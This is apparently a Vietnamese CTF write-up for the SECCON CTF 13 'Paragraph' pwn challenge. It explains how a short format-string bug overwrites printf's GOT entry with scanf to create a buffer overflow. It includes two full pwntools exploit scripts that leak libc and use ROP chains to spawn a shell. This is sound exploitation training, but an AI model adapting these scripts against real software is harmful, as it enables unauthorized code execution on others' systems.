---
# System prepended metadata

title: SECCON CTF 13 writeup
tags: [writeup]

---

mặc dù giải đã end khá lâu tuy nhiên dạo này bận ôn thi nên mình mới có time để ghi lại 


## Paragraph 

checksec : 

![image](https://hackmd.io/_uploads/Sy-wxNw7ye.png)

reverse :

ta được nhập 23 kí tự và có 1 bug fsb ở đây 

![image](https://hackmd.io/_uploads/rJS6yEP71g.png)

ta sẽ focus chính vào cách exploit bằng bug format string ở bài này , tuy nhiên nó lại chỉ cho ta nhập 23 kí tự.

- suy nghĩ đầu tiên có lẽ là cần overwrite GOT vì bài này RELRO 1 phần , vậy ta cần suy nghĩ ta sẽ phải overwrite thằng got nào và giá trị ta cần overwrite sẽ là gì?

- hmmm , vì bài này chỉ được phép xài fsb đúng 1 lần nên sẽ khá khó để leak libc xong rồi overwrite GOT bằng system ( thêm 1 điều nữa là đầu vào bị hạn chế nên cách này sẽ không thể) , 

ta sẽ thử quan sát : 

![image](https://hackmd.io/_uploads/SJjPWNDmJe.png)

địa chỉ libc của scanf và printf ở trường hợp này chỉ khác nhau 2 byte (thực tế sẽ là 2 byte rưỡi  = 12 bit) , vậy nếu ta ghi printf() thành scanf() thì sao ? 

![image](https://hackmd.io/_uploads/ByC3b4w7ye.png)


- tiếp theo sau đó nó sẽ dùng printf() với fmt là %s , vậy nếu nó là scanf() thì ta có 1 lỗi BOF ở đây luôn -> end

- còn 1 điều quan trọng nữa là bài này có lẽ cần phải bruteforce vì ta chỉ được input 23 kí tự , hoặc ta cũng có thể ghi thành PLT scanf() và cũng không cần bruteforce vì số byte của PLT lúc này khá ít (4198560) và nó sẽ không bị lỗi (cần sự trợ giúp của pwntools)


- vậy cách đầu tiên đơn giản là sẽ brute_force với tỉ lệ 1/16 , sau đó ta có được libc luôn và get_shell

script 

```python
from pwn import *

context.log_level = 'debug'

printf_got = 0x0404028
scanf_got = 0x0404030
scanf_plt = 0x4010A0
pop_rdi = 0x0000000000401283
ret = 0x000000000040101a

libc = ELF('./libc.so.6')
while True:
    e = ELF('./chall_patched')
    p = process(e.path)

    pay =b''
    pay += b"%32256c%8$hn%1$p"
    pay += b'A' * (0x10 - len(pay))
    pay += p64(e.got['printf'])[:-1]

    p.sendlineafter(b'"What is your name?", the black cat asked.\n', pay)
    try:

        p.recvn(32256)
        leak = int(p.recv(14).decode(), 16)
        lb = leak - 0x1b28c0
        system = lb + libc.sym['system']
        binsh = lb + list(libc.search(b'/bin/sh'))[0]
        log.critical(f"leak: {hex(leak)}")
        log.critical(f"lb: {hex(lb)}")
        log.critical(f"system: {hex(system)}")
        log.critical(f"binsh: {hex(binsh)}")
        p.recv()
        pay = b' answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted '
        pay += b'A' * 0x28
        pay += p64(ret)
        pay += p64(pop_rdi)
        pay += p64(binsh)
        pay += p64(system)
        pay += b' warmly.sdf\n'
        p.sendline(pay)

        p.sendline(b'id')
        tmp = p.recv()
        print(tmp)
        break
    except Exception as e:
        print(e)
        p.close()
        continue

p.interactive()
```


cách thứ 2 là ta sẽ thay đổi ```got``` của printf thành ```scanf_plt``` , ta sẽ dùng ```pwntools``` để làm việc này và không cần brute_foce , sau đó ta có thể dùng ROP để leak libc ....  , ở đây mình sẽ dùng ```scanf``` để ghi ```/bin/sh``` vô ```bss``` và cùng lúc ```leak_libc``` , cuối cùng là setup cho one_gadget 

script 

```python
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)
io = process()
libc = ELF('./libc.so.6')
#gdb.attach(io,gdbscript='''

 #       b*0x00000000004011fa
  #      b*0x000000000040121D
    #       ''')

one_gadget = [0x583dc,0x583e3,0xef4ce,0xef52b]
log.info(f"one_gadget {hex(one_gadget[3])}")

writes = {
    exe.got.printf: p64(exe.sym.__isoc99_scanf)
}

payload = fmtstr_payload(6, writes, write_size='int')  # generate most
payload = b'%4198560d%8$llna(@@\x00\x00\x00\x00'  # <-- same as pwntools but removed some null bytes
print(len(payload))
input()
io.sendlineafter(b'"What is your name?", the black cat asked.\n', payload)

p = b"A" * 40
p += p64(0x401281)  # 0x401281: pop rsi ; pop r15 ; ret ;
p += p64(0x404150)  # .bss
p += p64(0)
p += p64(0x401283)  # 0x401283: pop rdi ; ret ;
p += p64(0x403078)  # %s warmly.\n
p += p64(0x401060)  # scanf
p += p64(0x401283)  # 0x401283: pop rdi ; ret ;
p += p64(0x404050)  # 0x404050 <stdout@@GLIBC_2.2.5>:   0x00007d0f7ba045c0
p += p64(0x401030)  # puts

p += p64(0x401196) # main



io.sendline(
    b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
    + p
    + b" warmly.\n\n"
)
io.sendline(b"/bin/sh #" + b" warmly.\n\n")

res = io.recvline()[-7:].strip()
print(res)
leakedlibc = u64(res.ljust(8, b"\x00"))
log.info(f"leaked libc: {hex(leakedlibc)}")

libc.address = leakedlibc - libc.sym["_IO_2_1_stdout_"]
log.info(f"libc base: {hex(libc.address)}")

p = b"A" * 40

"""
0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

"""
p += p64(libc.address + 0x10E243)  # pop rcx ; ret
p += p64(0)
p += p64(libc.address + 0x5ACE9)  # pop rbx ; ret
p += p64(0)
p += p64(libc.address + 0x583E3) # posix_spawn

io.recvuntil(b"asked.\n")
input("input")
io.sendline(
    b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted '
    + p
    + b" warmly.\n\n"
)


io.interactive()
```